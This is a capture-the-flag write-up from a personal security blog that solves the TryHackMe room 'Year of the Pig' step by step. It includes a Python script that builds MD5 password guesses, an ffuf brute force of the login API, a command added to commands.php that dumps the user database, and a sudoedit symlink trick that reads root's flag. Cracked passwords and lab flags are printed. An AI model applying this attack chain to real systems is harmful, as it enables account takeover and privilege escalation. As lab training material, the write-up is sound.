Writeups/TryHackMe/Year of the Pig - TryHackMe Writeup
TryHackMeMediumRoom

Year of the Pig - TryHackMe Writeup

Year of the Pig TryHackMe writeup — CeWL wordlist generation and MD5 bruteforce of a plane-lover's blog, tampered command endpoint to dump the user DB, and a sudoedit wildcard/symlink trick for root.

Some pigs do fly…

##Task 1 | Flags

Some pigs fly, and some have stories to tell. Get going!


###Answer the questions below

Q. Flag 1

Ans.

Q. Flag 2

Ans.

Q. Root Flag

Ans.


##Walkthrough

Let's begin with a full port scan against the target.

bash
root@ip-10-48-92-89:~# nmap -p- -sV 10.48.152.174 -vv PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0) 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.29 ((Ubuntu)

##Initial Enumeration

Visiting the home page, we don't have much to work with -

http
GET / HTTP/1.1 Host: 10.48.152.174 Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive HTTP/1.1 200 OK Date: Tue, 23 Jun 2026 03:54:26 GMT Server: Apache/2.4.29 (Ubuntu) Last-Modified: Fri, 21 Aug 2020 22:57:30 GMT ETag: "12c1-5ad6b295b4d49-gzip" Accept-Ranges: bytes Vary: Accept-Encoding Content-Length: 4801 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html <!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no" /> <meta name="description" content="" /> <meta name="author" content="" /> <title>Marco's Blog</title> <link rel="icon" type="image/x-icon" href="assets/img/favicon.ico" /> <!-- Font Awesome icons (free version)--> <script src="js/all.js"></script> <!-- Google fonts--> <link href="/css/saira.css" rel="stylesheet" type="text/css" /> <link href="/css/muli.css" rel="stylesheet" type="text/css" /> <!-- Core theme CSS (includes Bootstrap)--> <link href="css/styles.css" rel="stylesheet" /> </head> <body id="page-top"> <!-- Navigation--> <nav class="navbar navbar-expand-lg navbar-dark bg-primary fixed-top" id="sideNav"> <a class="navbar-brand js-scroll-trigger" href="#page-top"> <span class="d-block d-lg-none">Marco</span> <span class="d-none d-lg-block"><img class="img-fluid img-profile rounded-circle mx-auto mb-2" src="assets/img/plane.png" alt="" /></span> </a> <button class="navbar-toggler" type="button" data-toggle="collapse" data-target="#navbarSupportedContent" aria-controls="navbarSupportedContent" aria-expanded="false" aria-label="Toggle navigation"><span class="navbar-toggler-icon"></span></button> <div class="collapse navbar-collapse" id="navbarSupportedContent"> <ul class="navbar-nav"> <li class="nav-item"><a class="nav-link js-scroll-trigger" href="#about">About</a></li> <li class="nav-item"><a class="nav-link js-scroll-trigger" href="#overview">All About Planes</a></li> <li class="nav-item"><a class="nav-link js-scroll-trigger" href="#maintenance">Maintenance</a></li> </ul> </div> </nav> <!-- Page Content--> <div class="container-fluid p-0"> <!-- About--> <section class="resume-section" id="about"> <div class="resume-section-content"> <h1 class="mb-0"> Marco <!--<span class="text-primary">Taylor</span>--> </h1> <div class="subheading mb-5"> My Life </div> <p class="lead mb-5">I've had a long and painful life -- now it's time to sit back, relax and be happy. What better way to do so than with the infamous words: I like planes! I spent years flying for the Italian Airforce, many years ago, but I've been a pilot ever since I was a child. Since falling out with the airforce I've earnt my money through less legitimate means, but that's all behind me now. I am happily retired, and am now dedicating time towards this site, which will be <a class="js-scroll-trigger" href="#overview">all about planes!</a></p> </div> </section> <!-- Interests--> <section class="resume-section" id="overview"> <div class="resume-section-content"> <h2 class="mb-5">All About Planes</h2> <p>Flying has been my entire life. I know everything there is to know about planes -- especially sea planes like the Savoia S.21: my personal favourite. Towards the end of the war we were flying in the Italian-made Macchi M.5 Fighters -- they were nice and all, but too slow for my liking! Agility was top-notch though, so there's a plus. Another plane I've learnt to love is the Curtiss R3C-0, behind the Savoia it's the king of the skies! Took a long time to convince him to let me fly it, but well worth the wait.</p> </div> </section> <section class="resume-section" id="maintenance"> <div class="resume-section-content"> <h2 class="mb-5">Maintenance</h2> <p>Planes require a <em>lot</em> of maintenance. First thing I learnt was how to fix 'em. Of course, there are some things that you just can't fix by yourself. For those I know a superb mechanic in Milan -- would highly recommend! Many years ago I crashed into a deserted island and damn near wrote off my beloved fighter. My mechanic friend patched her right up though!</p> </div> </section> <hr class="m-0" /> </div> <!-- Bootstrap core JS--> <script src="/js/jquery.min.js"></script> <script src="/js/bootstrap.bundle.min.js"></script> <!-- Third party plugin JS--> <script src="/js/jquery.easing.min.js"></script> <!-- Core theme JS--> <script src="js/scripts.js"></script> </body> </html>

Marco's Blog home page
Marco's Blog home page

Running gobuster on the target to enumerate more endpoints of interest.

bash
root@ip-10-48-92-89:~# gobuster dir -u http://10.48.152.174/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -t 100 -x html,php,js,bak,enc,zip,txt =============================================================== Gobuster v3.6 by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart) =============================================================== [+] Url: http://10.48.152.174/ [+] Method: GET [+] Threads: 100 [+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt [+] Negative Status codes: 404 [+] User Agent: gobuster/3.6 [+] Extensions: zip,txt,html,php,js,bak,enc [+] Timeout: 10s =============================================================== Starting gobuster in directory enumeration mode =============================================================== /.html (Status: 403) [Size: 278] /.php (Status: 403) [Size: 278] /index.html (Status: 200) [Size: 4801] /login.php (Status: 200) [Size: 2790] /admin (Status: 301) [Size: 314] [--> http://10.48.152.174/admin/] /assets (Status: 301) [Size: 315] [--> http://10.48.152.174/assets/] /css (Status: 301) [Size: 312] [--> http://10.48.152.174/css/] /js (Status: 301) [Size: 311] [--> http://10.48.152.174/js/] /api (Status: 301) [Size: 312] [--> http://10.48.152.174/api/] /.html (Status: 403) [Size: 278] /.php (Status: 403) [Size: 278] /server-status (Status: 403) [Size: 278]

We found an /admin endpoint which requires us to login first. Sending a test request to see the application behaviour

http
POST /api/login HTTP/1.1 Host: 10.48.152.174 Content-Length: 66 Accept-Language: en-GB,en;q=0.9 Accept: application/json Content-Type: text/plain;charset=UTF-8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Origin: http://10.48.152.174 Referer: http://10.48.152.174/login.php Accept-Encoding: gzip, deflate, br Connection: keep-alive {"username":"admin","password":"21232f297a57a5a743894a0e4a801fc3"} HTTP/1.1 200 OK Date: Tue, 23 Jun 2026 04:00:09 GMT Server: Apache/2.4.29 (Ubuntu) Content-Length: 63 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 {"Response":"Error","Verbose":"Incorrect Username or Password"}

The password field seems to get md5 hashed when being sent for login.

Another interesting response in the Web UI was -

Password hint about the password format
Password hint about the password format

Remember that passwords should be a memorable word, followed by two numbers and a special character

So, if the username is admin - we can try to bruteforce the login with a custom wordlist to this.

http
GET /admin/ HTTP/1.1 Host: 10.48.152.174 Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate, br Connection: keep-alive HTTP/1.1 302 Found Date: Tue, 23 Jun 2026 03:58:33 GMT Server: Apache/2.4.29 (Ubuntu) location: /login.php Content-Length: 3158 Keep-Alive: timeout=5, max=99 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 <html> <head> <title>Marco's Blog | Admin</title> <meta charset="utf-8"> <meta name=viewport content="width=device-width, user-scalable=no"> <link rel="icon" type="image/x-icon" href="/assets/img/favicon.ico" /> <link href="style.css" rel="stylesheet" type="text/css"> <link href="/css/muli.css" rel="stylesheet" type="text/css"> <link href="/css/saira.css" rel="stylesheet" type="text/css"> <script> const _0x45fe=['readyState','/api/logout','#content','document','authLogin=\x27\x27;path=/;Max-Age=-99999999','innerHTML','remove','then','contentWindow','active-nav-btn','onload','application/json','opacity:\x201;','same-origin','reload','style','add','getElementsByClassName','complete','#id','classList','querySelector','json','opacity:\x200;','post','cookie'];(function(_0x37ab5d,_0x45fe2f){const _0x1b24e4=function(_0x4dfd90){while(--_0x4dfd90){_0x37ab5d['push'](_0x37ab5d['shift']());}};_0x1b24e4(++_0x45fe2f);}(_0x45fe,0x14e));const _0x1b24=function(_0x37ab5d,_0x45fe2f){_0x37ab5d=_0x37ab5d-0x0;let _0x1b24e4=_0x45fe[_0x37ab5d];return _0x1b24e4;};window[_0x1b24('0xe')]=()=>{const _0x1b777d=document[_0x1b24('0x19')](_0x1b24('0x6')),_0x52d583=_0x1b777d[_0x1b24('0xc')][_0x1b24('0x7')][_0x1b24('0x19')](_0x1b24('0x17'))[_0x1b24('0x9')];document[_0x1b24('0x19')]('#'+_0x52d583)[_0x1b24('0x18')][_0x1b24('0x14')](_0x1b24('0xd')),_0x1b777d[_0x1b24('0x13')]='opacity:\x201';};function frameLoad(){const _0x2b3c2c=document[_0x1b24('0x19')]('#content');if(_0x2b3c2c[_0x1b24('0xc')][_0x1b24('0x7')][_0x1b24('0x4')]==_0x1b24('0x16')){setTimeout(()=>{_0x2b3c2c['style']=_0x1b24('0x10');},0x3e8);return;}window['setTimeout'](frameLoad,0x64);};function changeContent(_0x5babcf,_0x32d458){const _0x5693cd=document[_0x1b24('0x19')](_0x1b24('0x6'));_0x5693cd[_0x1b24('0x13')]=_0x1b24('0x1'),document[_0x1b24('0x15')](_0x1b24('0xd'))[0x0][_0x1b24('0x18')][_0x1b24('0xa')](_0x1b24('0xd')),_0x32d458[_0x1b24('0x18')]['add'](_0x1b24('0xd')),setTimeout(()=>{_0x5693cd['src']=_0x5babcf;},0x1f4),frameLoad();};function logout(){fetch(_0x1b24('0x5'),{'method':_0x1b24('0x2'),'credentials':_0x1b24('0x11'),'headers':{'Accept':_0x1b24('0xf')}})['then'](_0x56d65f=>_0x56d65f[_0x1b24('0x0')]())[_0x1b24('0xb')](_0x3a959d=>{document[_0x1b24('0x3')]=_0x1b24('0x8'),window['location'][_0x1b24('0x12')]();});} </script> </head> <body> <table> <tr> <td class="nav" style="text-align: center"> <button class="nav-btn" id="landing" onclick="changeContent('landing.php', this)">Welcome</button> <button class="nav-btn" id="commands" onclick="changeContent('commands.php', this)">Commands</button> <button class="nav-btn" id="adduser" onclick="changeContent('adduser.php', this)">Add User</button> <button class="nav-btn" id="deleteuser" onclick="changeContent('deleteuser.php', this)">Delete User</button> <button class="nav-btn" id="resetpassword" onclick="changeContent('resetpassword.php', this)">Reset Password</button> <button class="nav-btn" id="logout" onclick="logout()">Logout</button> </td> <td> <iframe id="content" src="landing.php" style="opacity: 0"> </td> </tr> </table> </body> </html>

Since the blog is all about planes and Marco's life, we can use cewl to generate a custom wordlist of memorable words directly from the website:

cewl http://10.48.152.174/ -w words.txt

Now, we need to create a script that appends two numbers and a special character to each word, hashes the resulting password with MD5, and outputs a wordlist of valid MD5 hashes (since the API expects the hash).

python
import hashlib specials = '!@#$%^&*?_-+=' with open('words.txt') as f: words = [w.strip() for w in f if w.strip()] seen = set() with open('hashes.txt', 'w') as out: for word in words: variants = { word, word.lower(), word.upper(), word.capitalize() } for v in variants: for i in range(100): for s in specials: pwd = f"{v}{i:02d}{s}" if pwd in seen: continue seen.add(pwd) out.write( hashlib.md5(pwd.encode()).hexdigest() + "\n")

The wordlist hashes.txt is ready. Now, let's try bruteforcing login -

bash
root@ip-10-48-92-89:~# ffuf -u http://10.48.152.174/api/login -X POST -H "Content-Type: application/json" -d '{"username":"marco","password":"FUZZ"}' -w hashes.txt -mc all -fs 63 /'___\ /'___\ /'___\ /\ \__/ /\ \__/ __ __ /\ \__/ \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\ \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/ \ \_\ \ \_\ \ \____/ \ \_\ \/_/ \/_/ \/___/ \/_/ v2.1.0 ________________________________________________ :: Method : POST :: URL : http://10.48.152.174/api/login :: Wordlist : FUZZ: /root/hashes.txt :: Header : Content-Type: application/json :: Data : {"username":"marco","password":"FUZZ"} :: Follow redirects : false :: Calibration : false :: Timeout : 10 :: Threads : 40 :: Matcher : Response status: all :: Filter : Response size: 63 ________________________________________________ ea22b622ba9b3c41b22785dcb40211ac [Status: 200, Size: 99, Words: 3, Lines: 1, Duration: 74ms]

Got it! Now we can login -

http
POST /api/login HTTP/1.1 Host: 10.48.152.174 Content-Length: 66 Accept-Language: en-GB,en;q=0.9 Accept: application/json Content-Type: text/plain;charset=UTF-8 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Origin: http://10.48.152.174 Referer: http://10.48.152.174/login.php Accept-Encoding: gzip, deflate, br Connection: keep-alive {"username":"marco","password":"ea22b622ba9b3c41b22785dcb40211ac"} HTTP/1.1 200 OK Date: Tue, 23 Jun 2026 04:51:11 GMT Server: Apache/2.4.29 (Ubuntu) Vary: Accept-Encoding Content-Length: 99 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 {"Response":"Success","Verbose":"Logged in successfully","auth":"05813b1f70a425ac349766bc5a26a001"}

Plaintext - marco:savoia21! are the web credentials.

After logging in -

http
GET /admin/landing.php HTTP/1.1 Host: 10.48.152.174 Accept-Language: en-GB,en;q=0.9 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://10.48.152.174/admin/ Accept-Encoding: gzip, deflate, br Cookie: authLogin=7976d73887cbc4efda432b8d5a8a1be4 Connection: keep-alive HTTP/1.1 200 OK Date: Tue, 23 Jun 2026 04:53:28 GMT Server: Apache/2.4.29 (Ubuntu) Vary: Accept-Encoding Content-Length: 450 Keep-Alive: timeout=5, max=97 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html> <p style="display:none" id="id">landing</p> <head> <link type="text/css" rel="stylesheet" href="style.css"> <link type="text/css" rel="stylesheet" href="/css/muli.css"> <link type="text/css" rel="stylesheet" href="/css/saira.css"> <link type="text/css" rel="stylesheet" href="/css/input-style.css"> </head> <body class="include"> <h1 id="content-title">Admin Page</h1> <h2>Welcome, marco</h2> </body> </html>

There are several actions that marco is allowed to take -

Admin panel actions available to marco
Admin panel actions available to marco

On Delete user page, we see there are another user curtis.

Delete User page revealing the curtis account
Delete User page revealing the curtis account

The Commands page, doesn't allow us to execute all commands and has some filters -

http
POST /admin/commands.php HTTP/1.1 Host: 10.48.152.174 Content-Length: 25 Cache-Control: max-age=0 Accept-Language: en-GB,en;q=0.9 Origin: http://10.48.152.174 Content-Type: application/x-www-form-urlencoded Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://10.48.152.174/admin/commands.php Accept-Encoding: gzip, deflate, br Cookie: authLogin=7976d73887cbc4efda432b8d5a8a1be4 Connection: keep-alive command=ls&submit=Execute HTTP/1.1 200 OK Date: Tue, 23 Jun 2026 04:59:37 GMT Server: Apache/2.4.29 (Ubuntu) Vary: Accept-Encoding Content-Length: 884 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8 <!DOCTYPE html> <html> <p id="id" style="display:none">commands</p> <head> <link type="text/css" rel="stylesheet" href="style.css"> <link type="text/css" rel="stylesheet" href="/css/muli.css"> <link type="text/css" rel="stylesheet" href="/css/saira.css"> <link type="text/css" rel="stylesheet" href="/css/input-style.css"> </head> <body class="include"> <h1 id="content-title">Commands</h1> <h2>Use this page to execute arbitrary commands on the system</h2> <form method=post style="display: inline;"> <input type=text name="command" class="input" placeholder="Command..."> <input style="display:none;" type=submit name="submit" value="Execute" class="input" id="submit"> </form> <img alt="submit" src="/assets/img/arrow.png" class="submit-btn" onclick="javascript:document.querySelector('#submit').click()"> <pre>Invalid Command!<pre> </body> </html>

Meanwhile commands like id & whoami are allowed.

Let's first try to SSH login with marco and his password found for website.

bash
root@ip-10-48-66-105:~# ssh marco@10.48.152.174 marco@10.48.152.174's password: __ __ __ _ _ ____ _ \ \ / /__ __ _ _ __ ___ / _| | |_| |__ ___ | _ \(_) __ _ \ V / _ \/ _` | '__| / _ \| |_ | __| '_ \ / _ \ | |_) | |/ _` | | | __/ (_| | | | (_) | _| | |_| | | | __/ | __/| | (_| | |_|\___|\__,_|_| \___/|_| \__|_| |_|\___| |_| |_|\__, | |___/ marco@year-of-the-pig:~$ ls flag1.txt marco@year-of-the-pig:~$ cat flag1.txt THM{MDg0MGVjYzFjY2ZkZGMzMWY1NGZiNjhl} marco@year-of-the-pig:~$

And there we have it, password re-use and we have the first flag.

Next, we enumerate -

bash
marco@year-of-the-pig:/home$ ls curtis marco marco@year-of-the-pig:/home$ cd curtis/ marco@year-of-the-pig:/home/curtis$ ls -la total 24 drwxr-xr-x 2 curtis curtis 4096 Aug 22 2020 . drwxr-xr-x 4 root root 4096 Aug 16 2020 .. lrwxrwxrwx 1 root root 9 Aug 16 2020 .bash_history -> /dev/null -rw-r--r-- 1 curtis curtis 220 Apr 4 2018 .bash_logout -rw-r--r-- 1 curtis curtis 3771 Apr 4 2018 .bashrc -rw-r--r-- 1 curtis curtis 807 Apr 4 2018 .profile -r-------- 1 curtis curtis 38 Aug 22 2020 flag2.txt marco@year-of-the-pig:/home/curtis$ cat flag2.txt cat: flag2.txt: Permission denied marco@year-of-the-pig:/home/curtis$

So, we need to get curtis' credentials to get the second flag.

Further enumerating, we find an interesting web-developers group attached with marco's account -

bash
marco@year-of-the-pig:/home/curtis$ id uid=1000(marco) gid=1000(marco) groups=1000(marco),1002(web-developers)

Enumerating for this group, we see -

bash
marco@year-of-the-pig:/home/curtis$ find / -group web-developers -writable 2>/dev/null /var/www/html /var/www/html/css /var/www/html/css/saira.css /var/www/html/css/muli.css /var/www/html/css/styles.css /var/www/html/js /var/www/html/js/jquery.easing.min.js /var/www/html/js/all.js /var/www/html/js/scripts.js /var/www/html/js/jquery.min.js /var/www/html/js/bootstrap.bundle.min.js /var/www/html/api /var/www/html/api/index.php /var/www/html/api/addUser.php /var/www/html/api/dbconnect.php /var/www/html/api/checkAuth.php /var/www/html/admin

Ok, so an intended path here could be gaining curtis' credentials using the web server and since there is password re-use, we could login as curtis as well.

But, we don't have permissions to read the admin.db file. But, the www-data user does. So, let's tamper the command.php file and allow reading admin.db file -

php
marco@year-of-the-pig:/var/www/html/admin$ cat commands.php <?php require_once "/var/www/html/admin/prepareAuth.php"; if (!$auth){ header("location: /login.php"); } $dbh->close(); ?> <!DOCTYPE html> <html> <p id="id" style="display:none">commands</p> <?php require "includes.php";?> <body class="include"> <h1 id="content-title">Commands</h1> <h2>Use this page to execute arbitrary commands on the system</h2> <form method=post style="display: inline;"> <input type=text name="command" class="input" placeholder="Command..."> <input style="display:none;" type=submit name="submit" value="Execute" class="input" id="submit"> </form> <img alt="submit" src="/assets/img/arrow.png" class="submit-btn" onclick="javascript:document.querySelector('#submit').click()"> <?php //Totally useless script to catch hackers out, eh, Marco? You old rogue! if (isset($_POST["command"])){ echo "<pre>"; $cmd=$_POST["command"]; if (strlen($cmd) == 0){ echo "No command entered"; } else if ($cmd == "whoami"){ echo "www-data"; } else if ($cmd == "id"){ echo "uid=33(www-data) gid=33(www-data) groups=33(www-data)"; } else if ($cmd == "ifconfig"){ system("ifconfig"); } else if (substr($cmd,0,5) == "echo "){ echo substr($cmd,5); } else if ($cmd == "hostname"){ echo "year-of-the-pig"; } else if (stristr($cmd,"nc")){ preg_match("/\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3} +\d{1,5}/", $cmd, $string); $components = explode(" ", $string[0]); $ip = $components[0]; $port = end(array_values($components)); system("nc $ip $port >/dev/null 2>&1"); } else{ echo "Invalid Command!"; } echo "<pre>\n"; } ?> </body> </html> marco@year-of-the-pig:/var/www/html/admin$

Added the following line -

php
else if ($cmd == "dumpusers"){ system("sqlite3 /var/www/admin.db 'select * from users;'"); }

Got the output -

text
58a2f366b1fd51e127a47da03afc9995|marco|ea22b622ba9b3c41b22785dcb40211ac f64ccfff6f64d57b121a85f9385cf256|curtis|a80bfe309ecaafcea1ea6cb3677971f2

So, password hash for curtis is a80bfe309ecaafcea1ea6cb3677971f2 . Let's try to crack it with crackstation -

Crackstation cracking curtis password hash
Crackstation cracking curtis password hash

And we have our credentials for curtis - Donald1983$

We can now SSH as curtis and read out 2nd Flag -

bash
marco@year-of-the-pig:~$ su curtis Password: curtis@year-of-the-pig:/home/marco$ cd ../curtis/ curtis@year-of-the-pig:~$ ls -la total 28 drwxr-xr-x 3 curtis curtis 4096 Jun 24 09:29 . drwxr-xr-x 4 root root 4096 Aug 16 2020 .. lrwxrwxrwx 1 root root 9 Aug 16 2020 .bash_history -> /dev/null -rw-r--r-- 1 curtis curtis 220 Apr 4 2018 .bash_logout -rw-r--r-- 1 curtis curtis 3771 Apr 4 2018 .bashrc -r-------- 1 curtis curtis 38 Aug 22 2020 flag2.txt drwx------ 3 curtis curtis 4096 Jun 24 09:29 .gnupg -rw-r--r-- 1 curtis curtis 807 Apr 4 2018 .profile curtis@year-of-the-pig:~$ cat flag2.txt THM{Y2Q2N2M1NzNmYTQzYTI4ODliYzkzMmZh}

Now, we can move up to look for root level access if there are any horizonal privesc vectors.

bash
curtis@year-of-the-pig:/$ sudo -l [sudo] password for curtis: Matching Defaults entries for curtis on year-of-the-pig: env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH" User curtis may run the following commands on year-of-the-pig: (ALL : ALL) sudoedit /var/www/html/*/*/config.php curtis@year-of-the-pig:/$

The problem is the wildcard expansion. If the sudo version is vulnerable to the classic sudoedit wildcard/symlink issue, you can trick sudoedit into editing files outside the intended directory tree.

bash
curtis@year-of-the-pig:/home$ sudo --version Sudo version 1.8.13 Sudoers policy plugin version 1.8.13 Sudoers file grammar version 44 Sudoers I/O plugin version 1.8.13

Since we don't have access as curtis to /var/www directory. Let's switch back to marco and create the symlinks. Once done, we again switch to curtis and execute sudoedit to get the flag!

bash
marco@year-of-the-pig:~$ mkdir -p /var/www/html/a/b marco@year-of-the-pig:~$ marco@year-of-the-pig:~$ ln -s /root/root.txt /var/www/html/a/b/config.php marco@year-of-the-pig:~$ su curtis Password: su: Authentication failure marco@year-of-the-pig:~$ su curtis Password: curtis@year-of-the-pig:/home/marco$ cd ../curtis curtis@year-of-the-pig:~$ sudoedit /var/www/html/a/b/config.php [sudo] password for curtis: sudoedit: /var/www/html/a/b/config.php unchanged curtis@year-of-the-pig:~$

Root flag read through the sudoedit symlink trick
Root flag read through the sudoedit symlink trick

And there we have it!

Root flag - THM{MjcxNmVmYjNhYzdkZDc0M2RkNTZhNDA0}

$ echo "Open to Red Team Security Research and Security Engineering roles."

> Open to Red Team Security Research and Security Engineering roles.

$ uptime

> Portfolio online since 2024 | Last updated: Aug 2026

"No one is useless in this world who lightens the burdens of another." — Charles Dickens

Considered a small donation if you found any of the walkthrough or blog posts helpful. Much appreciate :)

Buy me a coffee

© 2026 Shivang Tiwari. Built with Next.js. Hack the planet.